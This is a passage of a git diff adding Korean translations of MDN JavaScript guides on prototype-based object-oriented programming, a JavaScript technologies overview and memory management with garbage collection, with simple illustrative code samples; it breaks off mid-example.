+<h2 id="프로토타입기반_프로그래밍(Prototype-based_programming)">프로토타입기반 프로그래밍(Prototype-based programming)</h2>
+
+<p>프로토타입 기반 프로그래밍은 클래스가 존재하지 않는 객체지향 프로그래밍의 한가지 스타일로, 동작 재사용(behavior reuse, 클래스기반 언어에서는 상속이라고함)은 프로토타입으로서 존재하는 객체를 데코레이팅하는 과정을 통해 수행된다.</p>
+
+<p>프로토타입 기반 언어의 원형적인 예는 David Ungar과 Randall Smith가 개발한 'Self'라는 프로그래밍 언어이다. 그러나 클래스가 없는 프로그래밍 스타일이 최근 인기를 얻으며 성장하였고, 자바스크립트, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak 등의 언어에서 채택되어 왔다.<sup><a href="#Reference">2</a></sup></p>
+
+<h2 id="JavaScript_Object_Oriented_Programming" name="JavaScript_Object_Oriented_Programming">자바스크립트 객체지향 프로그래밍(JavaScript Object Oriented Programming)</h2>
+
+<h3 id="Core_Objects" name="Core_Objects">Core Objects</h3>
+
+<p>자바스크립트는 코어(core)에 몇 개의 객체를 갖고 있다. 예를들면, Math, Object, Array, String과 같은 객체가 있다. 아래의 예제는 Math 객체를 사용해서 무작위 숫자를 만들어내는 것을 보여준다.</p>
+
+<pre class="brush: js">alert(Math.random());
+</pre>
+
+<div class="note"><strong>Note:</strong> <span style="color: #333333; line-height: inherit;">여기와 다른 예제들 모두 alert 이라는 함수가 전역에 선언되어 있다고 가정하고 있다. alert 함수는 실제로 자바스크립트 그 자체에 포함되진 않았지만, 대부분의 브라우저에서 지원하고 있다.</span></div>
+
+<p>자바스크립트의 core object들의 리스트는 <a href="/En/Core_JavaScript_1.5_Reference/Global_Objects" title="En/Core_JavaScript_1.5_Reference/Global_Objects">Core JavaScript 1.5 Reference:Global Objects</a>라는 글을 참고하면 자세히 알 수 있다.</p>
+
+<p>자바스크립트의 모든 객체는 Object 객체의 인스턴스이므로 Object의 모든 속성과 메서드를 상속받는다.</p>
+
+<h3 id="Custom_Objects" name="Custom_Objects">Custom Objects</h3>
+
+<h4 id="The_Class" name="The_Class">The Class</h4>
+
+<p>class문을 흔하게 볼 수 있는 C++이나 자바와는 달리 자바스크립트는 class문이 포함되지 않은 프로토타입 기반 언어이다. 이로인해 때때로 class 기반 언어에 익숙한 프로그래머들은 혼란을 일으킨다. 자바스크립트에서는 function을 class로서 사용한다. 클래스를 정의하는 것은 function을 정의하는 것만큼 쉽다. 아래 예제에서는 Person이라는 이름의 클래스를 새로 정의하고 있다.</p>
+
+<pre class="brush: js">function Person() { }
+</pre>
+
+<h4 id="The_Object_.28Class_Instance.29" name="The_Object_.28Class_Instance.29">The Object (Class Instance)</h4>
+
+<p>obj라는 이름의 객체의 새로운 인스턴스를 만들 때에는 new obj라는 statement를 사용하고, 차후에 접근할 수 있도록 변수에 결과를 받는다.</p>
+
+<p>아래의 예제에서 Person이라는 이름의 클래스를 정의한 후에, 두 개의 인스턴스를 생성하고 있다.</p>
+
+<pre class="brush: js">function Person() { }
+var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<div class="note"><a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a> 메서드 역시 새로운 인스턴스를 만들 때 사용할 수 있다.</div>
+
+<h4 id="The_Constructor" name="The_Constructor">The Constructor</h4>
+
+<p>생성자는 인스턴스화되는 순간(객체 인스턴스가 생성되는 순간) 호출된다. 생성자는 해당 클래스의 메서드이다. 자바스크립트에서는 함수 자체가 그 객체의 생성자 역할을 하기 때문에 특별히 생성자 메서드를 정의할 필요가 없다. 클래스 안에 선언된 모든 내역은 인스턴스화되는 그 시간에 실행된다. 생성자는 주로 객체의 속성을 설정하거나 사용하기 위해 객체를 준비시키는 메서드를 호출할 때 주로 사용된다. 클래스 메서드를 추가하고 정의하는 것은 나중에 설명한다.</p>
+
+<div>아래의 예제에서, Person 클래스의 생성자는 Person 이 인스턴스화되었을 때 alert 을 보여주게 된다.</div>
+
+<pre class="brush: js">function Person() {
+  alert('Person instantiated');
+}
+
+var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<h4 id="The_Property_.28object_attribute.29" name="The_Property_.28object_attribute.29">The Property (object attribute)</h4>
+
+<div>속성은 클래스 안에 있는 변수들을 말한다. 객체의 모든 인스턴스는 그 인스턴스의 속성을 갖는다. 속성들의 상속이 바르게 이루어지려면 해당 클래스(function)의 프로토타입에 선언되어 있어야 한다.</div>
+
+<div> </div>
+
+<div>클래스 내에서 속성 작업은 현재 객체를 가리키는 this 키워드에 의해 이루어진다. 클래스의 외부에서 속성에 접근(읽기 혹은 쓰기)하는 것은 "인스턴스명.속성명" 의 형식으로 이루어진다. 이러한 문법은 C++, 자바나 다른 수많은 언어에서와 동일한 방식이다. (클래스 내부에서 "this.속성명" 은 해당 속성의 값을 읽거나 쓸 때 주로 사용된다)</div>
+
+<div> </div>
+
+<div>아래의 예제에서 Person 클래스에 gender라는 속성을 정의하고 인스턴스화할 때 그 값을 설정한다.</div>
+
+<pre class="brush: js">function Person(gender) {
+  this.gender = gender;
+  alert('Person instantiated');
+}
+
+var person1 = new Person('Male');
+var person2 = new Person('Female');
+
+//display the person1 gender
+alert('person1 is a ' + person1.gender); // person1 is a Male
+</pre>
+
+<h4 id="The_methods" name="The_methods">메서드(The methods)</h4>
+
+<p>메서드는 앞서 살펴본 속성과 같은 방식을 따른다. 차이점이 있다면 메서드는 function이기 때문에 function 형태로 정의된다는 것입니다. 메서드를 호출하는 것은 속성에 접근하는 것과 매우 유사한데 단지 끝에 ()를 추가하면 된다. argument가 있다면 괄호 안에 입력해준다. 메서드를 정의하기 위해서는 클래스의 prototype에 명명된 속성에 함수를 할당하면 된다. 이때 할당된 이름은 해당 객체의 메서드를 호출할 때 사용되는 이름이다.</p>
+
+<p>아래의 예에서는 Person 클래스에 sayHello()라는 메서드를 정의하고 사용하고 있다.</p>
+
+<pre class="brush: js">function Person(gender) {
+  this.gender = gender;
+  alert('Person instantiated');
+}
+
+Person.prototype.sayHello = function()
+{
+  alert ('hello');
+};
+
+var person1 = new Person('Male');
+var person2 = new Person('Female');
+
+// call the Person sayHello method.
+person1.sayHello(); // hello
+</pre>
+
+<p>자바스크립트에서 메서드는 "컨텍스트에 관계 없이" 호출될 수 있는 속성으로서 클래스/객체에 연결되어 있다. 다음 예제의 코드를 살펴보자.</p>
+
+<pre class="brush: js">function Person(gender) {
+  this.gender = gender;
+}
+
+Person.prototype.sayGender = function()
+{
+  alert(this.gender);
+};
+
+var person1 = new Person('Male');
+var genderTeller = person1.sayGender;
+
+person1.sayGender(); // alerts 'Male'
+genderTeller(); // alerts undefined
+alert(genderTeller === person1.sayGender); // alerts true
+alert(genderTeller === Person.prototype.sayGender); // alerts true
+</pre>
+
+<p>위의 예제는 많은 개념들을 한꺼번에 보여주고 있다. </p>
+
+<div>먼저 이 예제는 자바스크립트에 "per-object methods" 가 존재하지 않는다는 것을 보여준다. JavaScript는 메서드에 대한 레퍼런스가 모두 똑같은 (프로토타입에 처음 정의한) 함수를 참조하고 있기 때문이다.</div>
+
+<div> </div>
+
+<div>자바스크립트는 어떤 객체의 메서드로서 함수가 호출될 때 현재 "객체의 컨텍스트"를 특별한 "this" 변수에 "연결한다". 이는 아래와 같이 function 객체의 call 메서드를 호출하는 것과 동일하다.</div>
+
+<div> </div>
+
+<div>(역자주: 참고로, genderTeller() 만 호출했을 때 undefined 가 나타난 것은 해당 메서드가 호출될 때 컨텍스트가 window 로 잡혔기 때문에 window.gender 는 존재하지 않으므로 undefined 가 나타난 것이다.)</div>
+
+<div> </div>
+
+<pre class="brush: js">genderTeller.call(person1); //alerts 'Male'
+</pre>
+
+<div class="note">더 자세한 것은 <a href="/en/JavaScript/Reference/Global_Objects/Function/call" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/call">Function.call</a> 과 <a href="/en/JavaScript/Reference/Global_Objects/Function/apply" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/apply">Function.apply</a> 를 참고하자.</div>
+
+<h4 id="Inheritance" name="Inheritance">상속(Inheritance)</h4>
+
+<p>상속은 하나 이상의 클래스를 특별한 버전의 클래스로 생성하는 하나의 방법이다. (다만 자바스크립트는 오직 하나의 클래스를 상속받는 것만 지원한다.) 이 특별한 클래스는 흔히 자식 클래스(child)라고 불리우고 원본 클래스는 흔히 부모 클래스(parent)라고 불리운다. 자바스크립트에서는 부모 클래스의 인스턴스를 자식 클래스에 할당함으로써 상속이 이루어진다. 최신 브라우저에서는 <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create">Object.create</a> 메서드를 사용해서 상속을 수행할 수도 있다.</p>
+
+<div class="note">
+<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/prototype">Core JavaScript 1.5 Reference:Global Objects:Object:prototype</a> 에 나와있는 설명과 같이 자바스크립트는 자식 클래스의 prototype.constructor 를 검색하지 않으므로 직접 명시해주어야 한다.</p>
+</div>
+
+<p>아래의 예제에서는, Student라는 클래스를 Person 클래스의 자식 클래스로 정의한다. 그 후에 우리는 sayHello() 메서드를 재정의하고 sayGoodBye() 메서드를 추가한다.</p>
+
+<pre class="brush: js">// define the Person Class
+function Person() {}
+
+Person.prototype.walk = function(){
+  alert ('I am walking!');
+};
+Person.prototype.sayHello = function(){
+  alert ('hello');
+};
+
+// define the Student class
+function Student() {
+  // Call the parent constructor
+  Person.call(this);
+}
+
+// inherit Person
+Student.prototype = new Person();
+
+// correct the constructor pointer because it points to Person
+Student.prototype.constructor = Student;
+
+// replace the sayHello method
+Student.prototype.sayHello = function(){
+  alert('hi, I am a student');
+}
+
+// add sayGoodBye method
+Student.prototype.sayGoodBye = function(){
+  alert('goodBye');
+}
+
+var student1 = new Student();
+student1.sayHello();
+student1.walk();
+student1.sayGoodBye();
+
+// check inheritance
+alert(student1 instanceof Person); // true
+alert(student1 instanceof Student); // true
+</pre>
+
+<p>Object.create 를 사용하면 상속을 아래와 같이 수행할 수 있다.</p>
+
+<pre class="brush: js">Student<code class="js plain">.prototype = Object.create(</code>Person<code class="js plain">.prototype);</code></pre>
+
+<h4 id="Encapsulation" name="Encapsulation">캡슐화(Encapsulation)</h4>
+
+<p>이전의 예제에서, Student 클래스는 Person 클래스의 walk() 메서드가 어떻게 실행되는지에 대해 알 필요가 없고, walk() 메서드를 사용하는데에도 전혀 문제가 없다. 또 Student 클래스에서는 walk() 메서드의 내용을 바꾸려는게 아니라면 walk() 메서드를 특별히 정의할 필요도 없다. 자식 클래스는 부모 클래스의 모든 메서드를 상속받고, 상속받은 메서드중 일부를 수정하고 싶은 경우에만 해당 메서드를 정의하는 것을 우리는 캡슐화(encapsulation)이라고 부른다.</p>
+
+<h4 id="Abstraction" name="Abstraction">추상화(Abstraction)</h4>
+
+<p>추상화는 작업 문제의 현재 부분을 모델링할 수 있도록 하는 매커니즘이다. 추상화는 상속(specialization, 추상의 수준을 낮추는 것)과 합성으로 구현할 수 있다. 자바스크립트는 상속에 의해 특별화(specialization)를, 클래스들의 인스턴스를 다른 객체의 속성값이 되게 함으로써 합성을 구현한다.</p>
+
+<p>자바스크립트 Function 클래스는 Object 클래스를 상속받고(이는 모델의 특별화를 보여준다), Function.prototype 속성은 Object의 인스턴스이다(이는 합성을 보여준다).</p>
+
+<pre class="brush: js">var foo = function(){};
+alert( 'foo is a Function: ' + (foo instanceof Function) );
+alert( 'foo.prototype is an Object: ' + (foo.prototype instanceof Object) );
+</pre>
+
+<h4 id="Polymorphism" name="Polymorphism">다형성(Polymorphism)</h4>
+
+<p>모든 메서드와 속성들은 prototype 속성에 선언되어 있고, 클래스가 다르다면 같은 이름의 메서드도 선언할 수 있다. 메서드들은 메서드가 선언된 클래스로 그 실행 영역이 한정된다. 물론 이건 두 개의 클래스들이 서로 부모-자식 관계가 아닐때에만 성립한다. 즉 다시 말해 부모-자식 관계의 상속 관계로 하나가 다른 하나에게서 상속받지 않았을 때에만 성립한다.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>객체지향 프로그래밍을 구현하는데 있어서 자바스크립트는 매우 유연하기 때문에, 이 글에서 선보인 테크닉들은 자바스크립트에서 객체지향을 구현하는 유일한 방법들 중 일부일 뿐이다.</p>
+
+<p>또, 여기에서 선보인 테크닉들은 어떤 hack도 사용하지 않았고 또한 다른 언어의 객체 이론 구현물들을 모방하지도 않았다.</p>
+
+<p>자바스크립트의 객체지향 프로그래밍에 있어서 다른 보다 깊이있는 테크닉들이 많이 있지만, 소개하는 글이라는 이 글의 특성상 다루지 않기로 한다.</p>
+
+<h2 id="References" name="References">References</h2>
+
+<ol>
+ <li>Mozilla. "Core JavaScript 1.5 Guide", http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide</li>
+ <li>Wikipedia. "Object-oriented programming", <a class="external" href="http://en.wikipedia.org/wiki/Object-oriented_programming" rel="freelink">http://en.wikipedia.org/wiki/Object-...ed_programming</a></li>
+</ol>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Fernando Trasviña &lt;f_trasvina at hotmail dot com&gt;</li>
+ <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/javascript/javascript_technologies_overview/index.html b/files/ko/web/javascript/javascript_technologies_overview/index.html
new file mode 100644
index 0000000000..185a417001
--- /dev/null
+++ b/files/ko/web/javascript/javascript_technologies_overview/index.html
@@ -0,0 +1,83 @@
+---
+title: JavaScript 기술 개요
+slug: Web/JavaScript/JavaScript_technologies_overview
+tags:
+  - Beginner
+  - DOM
+  - JavaScript
+translation_of: Web/JavaScript/JavaScript_technologies_overview
+---
+<div>{{JsSidebar("Introductory")}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p><a href="/ko/docs/Web/HTML">HTML</a>이 웹 페이지의 구조와 내용을, <a href="/ko/docs/Web/CSS">CSS</a>가 서식과 외관을 결정한다면, <a href="/ko/docs/Web/JavaScript">JavaScript</a>는 상호작용성을 추가하여 풍부한 웹 어플리케이션을 만듭니다.</p>
+
+<p>그러나, 웹 브라우저 맥락에서 포괄적으로 쓰이는 용어로써의 "JavaScript"는 사실 매우 다른 요소 여럿을 포함하는 것입니다. 그 중 하나는 핵심 언어(ECMAScript)고, 다른 하나는 DOM(Document Object Model)을 포함한 <a href="/ko/docs/Web/API">Web API</a>입니다.</p>
+
+<h2 id="핵심_언어_JavaScript(ECMAScript)">핵심 언어, JavaScript(ECMAScript)</h2>
+
+<p>JavaScript의 핵심 언어는 ECMA TC39 위원회가 <a href="/ko/docs/Web/JavaScript/Language_Resources">ECMAScript</a>라는 이름으로 표준화했습니다.</p>
+
+<p>핵심 언어는 <a href="https://nodejs.org">Node.js</a> 등 비브라우저 환경에서도 사용됩니다.</p>
+
+<h3 id="ECMAScript에_속하는_것">ECMAScript에 속하는 것</h3>
+
+<p>ECMAScript는 다음 항목을 포함하고 있습니다.</p>
+
+<ul>
+ <li>언어 구문 (구문 분석 규칙, 키워드, 흐름 제어, 객체 리터럴 초기화 등)</li>
+ <li>오류 처리 방법 ({{jsxref("Statements/throw", "throw")}}, {{jsxref("Statements/try...catch", "try...catch")}}, 사용자 정의 {{jsxref("Error")}} 유형 등)</li>
+ <li>자료형 (불리언, 숫자, 문자열, 함수, 객체, ...)</li>
+ <li>전역 객체. 브라우저에서 전역 객체는 {{domxref("Window", "window")}} 객체지만, ECMAScript는 브라우저에 국한되지 않는 API({{jsxref("parseInt")}}, {{jsxref("parseFloat")}}, {{jsxref("decodeURI")}}, {{jsxref("encodeURI")}} 등)만 정의합니다.</li>
+ <li>프로토타입 기반 상속 구조</li>
+ <li>내장 객체 및 함수 ({{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Array.prototype", "Array.prototype", "메서드")}} 메서드, {{jsxref("Object")}} 내성검사 메서드 등)</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a></li>
+</ul>
+
+<h3 id="브라우저_지원">브라우저 지원</h3>
+
+<p>2016년 10월 기준 주요 브라우저의 현버전은 ECMAScript 5.1과 ECMAScript 2015를 구현하지만, (여전히 사용 중인) 오래된 브라우저는 ECMAScript 5만 구현합니다.</p>
+
+<h3 id="미래">미래</h3>
+
+<p>2015년 7월 17일, ECMAScript 6판이 ECMA General Assembly에 의해 공식으로 채택되고 표준으로 출판됐습니다. 이후 ECMAScript는 매년 새로운 판을 출판하고 있습니다.</p>
+
+<h3 id="국제화_API">국제화 API</h3>
+
+<p><a href="http://ecma-international.org/ecma-402/1.0/">ECMAScript 국제화 API 명세</a>는 ECMAScript 언어 명세의 부속이며, 마찬가지로 ECMA TC39가 표준화했습니다. 국제화 API는 JavaScript 어플리케이션에 콜레이션(문자열 비교), 숫자 서식, 날짜 및 시간 서식 기능을 제공하므로, 어플리케이션이 언어를 선택하고 필요에 맞춰 기능을 적용할 수 있는 방법입니다. 초기 표준안은 2012년 12월에 통과했으며 브라우저 구현 상태는 {{jsxref("Intl")}} 객체 문서에서 추적 중입니다. 최근에는 국제화 명세도 매년 비준하고 있으며 브라우저 구현도 계속하여 향상 중입니다.</p>
+
+<h2 id="DOM_API">DOM API</h2>
+
+<h3 id="WebIDL">WebIDL</h3>
+
+<p><a class="external" href="https://heycam.github.io/webidl/" title="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL 명세</a>는 DOM 기술과 ECMAScript 사이를 연결하는 역할을 합니다.</p>
+
+<h3 id="DOM의_핵심">DOM의 핵심</h3>
+
+<p>DOM(Document Object Model)은 HTML, XHTML, XML 문서의 객체를 나타내고 상호작용하기 위한, <strong>언어에 제약되지 않는</strong> 크로스 플랫폼 협약입니다. DOM 트리의 객체는 해당 객체의 메서드를 사용해 조작할 수 있습니다. {{glossary("W3C")}}는 HTML와 XML 문서를 객체로 추상화하는 Core Document Object Model을 표준화하고, 추상화를 조작하기 위한 방법도 정의합니다. DOM에 정의된 내용 중 일부는 다음과 같습니다.</p>
+
+<ul>
+ <li>문서 구조, 트리 모델, <a class="external" href="https://dom.spec.whatwg.org/" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">DOM core</a>의 DOM Event Architecture: {{domxref("Node")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}, {{domxref("Document")}}, {{domxref("DOMImplementation")}}, {{domxref("Event")}}, {{domxref("EventTarget")}}, …</li>
+ <li>덜 엄격한 DOM Event Architecture 정의, <a class="external" href="https://w3c.github.io/uievents/" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">DOM events</a>에 속하는 특정 이벤트.</li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html">DOM Traversal</a>, <a class="external" href="https://dom.spec.whatwg.org/#ranges" title="http://html5.org/specs/dom-range.html">DOM Range</a> 등</li>
+</ul>
+
+<p>ECMAScript의 관점에서, DOM 명세에 정의된 객체는 "호스트 객체"라고 부릅니다.</p>
+
+<h3 id="HTML_DOM">HTML DOM</h3>
+
+<p>웹 마크업 언어인 <a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>은 DOM 코어에 정의된 추상화 개념에 엘리먼트의 <em>의미</em>를 더한 레이어라고 할 수 있겠다. HTML DOM은 HTML 엘리먼트의 <code>className</code> 같은 속성과 {{ domxref("document.body") }} 같은 API도 포함한다.</p>
+
+<p>HTML 명세는 문서의 제약도 정의한다. 예를들어 순서가 없는 리스트를 나타내는 <code>ul</code> 의 모든 자식들은 리스트 요소를 나타내는 <code>li</code> 엘리먼트여야 한다. 또한 표준에 정의되지 않은 엘리먼트와 속성을 사용하는것도 금지된다.</p>
+
+<h2 id="알아둘만한_다른_API">알아둘만한 다른 API</h2>
+
+<ul>
+ <li>setTimeout 과 setInterval 함수는 HTML 표준의 <a class="external" href="http://www.whatwg.org/html/#window" title="http://www.whatwg.org/html/#window">Window</a> 인터페이스에 처음으로 정의되었다.</li>
+ <li><a class="external" href="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/" title="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/">XMLHttpRequest</a>는 비동기적 HTTP 요청을 보낼 수 있게 해주는 API이다.</li>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom/">CSS Object Model</a>는 CSS 규칙을 오브젝트처럼 다룰 수 있도록 추상화 해준다.</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-workers/current-work/">WebWorkers</a>는 병렬 처리를 가능하게 하는 API이다.</li>
+ <li><a class="external" href="http://www.whatwg.org/C/#network">WebSockets</a>는 양방향 저수준 통신을 가능하게 하는 API이다.</li>
+ <li><a class="external" href="http://www.whatwg.org/html/#2dcontext" title="http://www.whatwg.org/html/#2dcontext">Canvas 2D Context</a>는 canvas 엘리먼트에 그릴 수 있게 해주는 API이다.</li>
+</ul>
diff --git a/files/ko/web/javascript/memory_management/index.html b/files/ko/web/javascript/memory_management/index.html
new file mode 100644
index 0000000000..22cccc5e76
--- /dev/null
+++ b/files/ko/web/javascript/memory_management/index.html
@@ -0,0 +1,183 @@
+---
+title: 자바스크립트의 메모리관리
+slug: Web/JavaScript/Memory_Management
+translation_of: Web/JavaScript/Memory_Management
+---
+<p>{{JsSidebar("Advanced")}}<br>
+ C 언어같은 저수준 언어에서는 메모리 관리를 위해 <code>malloc()</code> 과 <code>free()</code>를 사용한다. 반면, 자바스크립트는 객체가 생성되었을 때 자동으로 메모리를 할당하고 쓸모 없어졌을 때 자동으로 해제한다(가비지 컬렉션). 이러한 자동 메모리 관리는 잠재적 혼란의 원인이기도 한데, 개발자가 메모리 관리에 대해 고민할 필요가 없다는 잘못된 인상을 줄 수 있기 때문이다.</p>
+
+<h2 id="메모리_생존주기">메모리 생존주기</h2>
+
+<p>메모리 생존주기는 프로그래밍 언어와 관계없이 비슷하다.</p>
+
+<ol>
+ <li>필요할때 할당한다.</li>
+ <li>사용한다. (읽기, 쓰기)</li>
+ <li>필요없어지면 해제한다. </li>
+</ol>
+
+<p>두 번째 부분은 모든 언어에서 명시적으로 사용된다. 그러나 첫 번째 부분과 마지막 부분은 저수준 언어에서는 명시적이며, 자바스크립트와 같은 대부분의 고수준 언어에서는 암묵적으로 작동한다. </p>
+
+<h3 id="자바스크립트에서_메모리_할당">자바스크립트에서 메모리 할당</h3>
+
+<h4 id="값_초기화">값 초기화</h4>
+
+<p>프로그래머를 할당 문제로 괴롭히지 않기 위해서, 자바스크립트는 값을 선언할 때 자동으로 메모리를 할당한다.</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">var n = 123; // 정수를 담기 위한 메모리 할당
+var s = 'azerty'; // 문자열을 담기 위한 메모리 할당
+
+var o = {
+  a: 1,
+  b: null
+}; // 오브젝트와 그 오브젝트에 포함된 값들을 담기 위한 메모리 할당
+
+// (오브젝트처럼) 배열과 배열에 담긴 값들을 위한 메모리 할당
+var a = [1, null, 'abra'];
+
+function f(a){
+  return a + 2;
+} // 함수를 위한 할당(함수는 호출 가능한 오브젝트이다)
+
+// 함수식 또한 오브젝트를 담기위한 메모리를 할당한다.
+someElement.addEventListener('click', function(){
+  someElement.style.backgroundColor = 'blue';
+}, false);
+</pre>
+</div>
+
+<h4 id="함수_호출을_통한_할당">함수 호출을 통한 할당</h4>
+
+<p>함수 호출의 결과 메모리 할당이 일어나기도 한다. </p>
+
+<pre class="brush: js">var d = new Date(); // Date 개체를 위해 메모리를 할당
+
+var e = document.createElement('div'); // DOM 엘리먼트를 위해 메모리를 할당한다.
+</pre>
+
+<p>메소드가 새로운 값이나 오브젝트를 할당하기도 한다.</p>
+
+<pre class="brush: js">var s = 'azerty';
+var s2 = s.substr(0, 3); // s2는 새로운 문자열
+// 자바스크립트에서 문자열은 immutable 값이기 때문에,
+// 메모리를 새로 할당하지 않고 단순히 [0, 3] 이라는 범위만 저장한다.
+
+var a = ['ouais ouais', 'nan nan'];
+var a2 = ['generation', 'nan nan'];
+var a3 = a.concat(a2);
+// a 와 a2 를 이어붙여, 4개의 원소를 가진 새로운 배열
+</pre>
+
+<h3 id="값_사용">값 사용</h3>
+
+<p>값 사용이란 기본적으로는 할당된 메모리를 읽고 쓰는 것을 의미한다. 변수나 오브젝트 속성 값을 읽고 쓸때 값 사용이 일어난다. 또 함수 호출시 함수에 인수를 넘길때도 일어난다. </p>
+
+<h3 id="할당된_메모리가_더_이상_필요없을_때_해제하기">할당된 메모리가 더 이상 필요없을 때 해제하기</h3>
+
+<p>이 단계에서 대부분의 문제가 발생한다. "할당된 메모리가 더 이상 필요없을 때"를 알아내기가 어렵기 때문이다.</p>
+
+<p>저수준 언어에서는 메모리가 필요없어질 때를 개발자가 직접 결정하고 해제하는 방식을 사용한다. </p>
+
+<p>자바스크립트와 같은 고수준 언어들은 "<a href="https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)">가비지 콜렉션</a>(GC)"이라는 자동 메모리 관리 방법을 사용한다. 가비지 콜렉터의 목적은 메모리 할당을 추적하고 할당된 메모리 블록이 더 이상 필요하지 않게게 되었는지를 판단하여 회수하는 것이다. 이러한 자동 메모리 관리 프로세스는 궁극의 방법은 아니다. 왜냐하면 어떤 메모리가 여전히 필요한지 아닌지를 판단하는 것은 <a class="external" href="http://en.wikipedia.org/wiki/Decidability_%28logic%29">비결정적</a> 문제이기 때문이다.</p>
+
+<h2 id="가비지_콜렉션">가비지 콜렉션</h2>
+
+<p>위에서 언급한 것처럼 "더 이상 필요하지 않은" 모든 메모리를 찾는건 비결정적 문제다. 따라서 가비지 컬렉터들은 이 문제에 대한 제한적인 해결책을 구현한다. 이 섹션에서는 주요한 가비지 컬렉션 알고리즘들과 그 한계를 이해하는데 필요한 개념을 설명한다.</p>
+
+<h3 id="참조">참조</h3>
+
+<p>가비지 콜렉션 알고리즘의 핵심 개념은 <em>참조</em>이다. A라는 메모리를 통해 (명시적이든 암시적이든) B라는 메모리에 접근할 수 있다면 "B는 A에 참조된다" 라고 한다. 예를 들어 모든 자바스크립트 오브젝트는 <a href="/en/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="en/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype</a> 을 암시적으로 참조하고 그 오브젝트의 속성을 명시적으로 참조한다.</p>
+
+<p>앞으로 "오브젝트"라는 어휘의 의미를 넓혀서 기존의 자바스크립트 오브젝트뿐만 아니라 함수 스코프도 포괄하자.</p>
+
+<h3 id="참조-세기Reference-counting_가비지_콜렉션">참조-세기(Reference-counting) 가비지 콜렉션</h3>
+
+<p>참조-세기 알고리즘은 가장 소박한 알고리즘이다. 이 알고리즘은 "더 이상 필요없는 오브젝트"를 "어떤 다른 오브젝트도 참조하지 않는 오브젝트"라고 정의한다. 이 오브젝트를 "가비지"라 부르며, 이를 참조하는 다른 오브젝트가 하나도 없는 경우, 수집이 가능하다.</p>
+
+<h4 id="예제">예제</h4>
+
+<pre class="brush: js">var x = {
+  a: {
+    b:2
+  }
+};
+// 2개의 오브젝트가 생성되었다. 하나의 오브젝트는 다른 오브젝트의 속성으로 참조된다.
+// 나머지 하나는 'x' 변수에 할당되었다.
+// 명백하게 가비지 콜렉션 수행될 메모리는 하나도 없다.
+
+
+var y = x;    // 'y' 변수는 위의 오브젝트를 참조하는 두 번째 변수이다.
+x = 1;        // 이제 'y' 변수가 위의 오브젝트를 참조하는 유일한 변수가 되었다.
+
+var z = y.a;  // 위의 오브젝트의 'a' 속성을 참조했다.
+              // 이제 'y.a'는 두 개의 참조를 가진다.
+              // 'y'가 속성으로 참조하고 'z'라는 변수가 참조한다.
+
+y = "yo";     // 이제 맨 처음 'y' 변수가 참조했던 오브젝트를 참조하는 오브젝트는 없다.
+              // (역자: 참조하는 유일한 변수였던 y에 다른 값을 대입했다)
+              // 이제 오브젝트에 가비지 콜렉션이 수행될 수 있을까?
+              // 아니다. 오브젝트의 'a' 속성이 여전히 'z' 변수에 의해 참조되므로
+              // 메모리를 해제할 수 없다.
+
+z = null;     // 'z' 변수에 다른 값을 할당했다.
+              // 이제 맨 처음 'x' 변수가 참조했던 오브젝트를 참조하는
+              // 다른 변수는 없으므로 가비지 콜렉션이 수행된다.
+</pre>
+
+<h4 id="한계_순환_참조">한계: 순환 참조</h4>
+
+<p>순환 참조를 다루는 일에는 한계가 있다. 다음 예제에서는 두 객체가 서로 참조하는 속성으로 생성되어 순환 구조를 생성한다. 함수 호출이 완료되면 이 두 객체는 스코프를 벗어나게 될 것이며, 그 시점에서 두 객체는 불필요해지므로 할당된 메모리는 회수되어야 한다. 그러나 두 객체가 서로를 참조하고 있으므로, 참조-세기 알고리즘은 둘 다 가비지 컬렉션의 대상으로 표시하지 않는다. 이러한 순환 참조는 메모리 누수의 흔한 원인이다.</p>
+
+<pre class="brush: js">function f(){
+  var o = {};
+  var o2 = {};
+  o.a = o2; // o는 o2를 참조한다.
+  o2.a = o; // o2는 o를 참조한다.
+
+  return "azerty";
+}
+
+f();
+</pre>
+
+<h4 id="실제_예제">실제 예제</h4>
+
+<p>인터넷 익스플로러 6, 7 은 DOM 오브젝트에 대해 참조-세기 알고리즘으로 가비지 콜렉션을 수행한다. 흔히, 이 두 브라우저에서는 다음과 같은 패턴의 메모리 누수가 발생한다. </p>
+
+<pre class="brush: js">var div = document.createElement("div");
+div.onclick = function(){
+  doSomething();
+}; // div 오브젝트는 이벤트 핸들러를 'onclick' 속성을 통해 참조한다.
